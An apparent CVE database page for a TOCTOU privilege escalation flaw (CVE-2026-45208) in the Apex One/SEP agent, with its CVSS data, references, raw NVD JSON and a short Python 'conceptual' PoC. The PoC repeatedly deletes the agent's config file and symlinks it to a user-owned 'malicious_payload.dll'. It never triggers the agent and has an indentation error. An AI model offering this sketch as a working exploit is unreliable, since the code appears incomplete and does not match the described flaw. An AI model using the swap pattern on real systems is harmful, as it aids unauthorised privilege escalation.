CVE-2026-45208

Description

A time-of-check time-of-use vulnerability in the Apex One/SEP agent could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Apex One (具体受影响版本请参考厂商公告)

SEP Agent (具体受影响版本请参考厂商公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept for CVE-2026-45208 (Conceptual)
# This script demonstrates the TOCTOU race condition logic.
# Attacker runs this with low privileges to race against the Agent.

import os
import time
import threading

TARGET_FILE = "C:\\Program Files\\Trend Micro\\Agent\\config.dat"
ATTACKER_FILE = "C:\\Users\\LowPriv\\malicious_payload.dll"

 attacker_running = True

def replace_file():
    while attacker_running:
        try:
            # Simulate swapping the file during the race window
            if os.path.exists(TARGET_FILE):
                os.remove(TARGET_FILE)
            os.symlink(ATTACKER_FILE, TARGET_FILE)
            print("[+] File swapped/linked")
        except Exception as e:
            pass
        time.sleep(0.001)

# Start the race thread
t = threading.Thread(target=replace_file)
t.start()

# Trigger the vulnerable agent operation (simulation)
print("[*] Waiting for Agent to trigger check/use...")
# In a real scenario, this would be external or triggered by system events
time.sleep(5) 

attacker_running = False
t.join()
print("[*] Exploit attempt finished.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-45208
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-45208
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-45208/
[4] VulDB https://vuldb.com/cve/CVE-2026-45208
[5] https://success.trendmicro.com/en-US/solution/KA-0023430

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-45208", "sourceIdentifier": "[email protected]", "published": "2026-05-21T14:16:48.257", "lastModified": "2026-05-21T15:05:28.023", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A time-of-check time-of-use vulnerability in the Apex One/SEP agent could allow a local attacker to escalate privileges on affected installations.\n\nPlease note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-367"}]}], "references": [{"url": "https://success.trendmicro.com/en-US/solution/KA-0023430", "source": "[email protected]"}]}}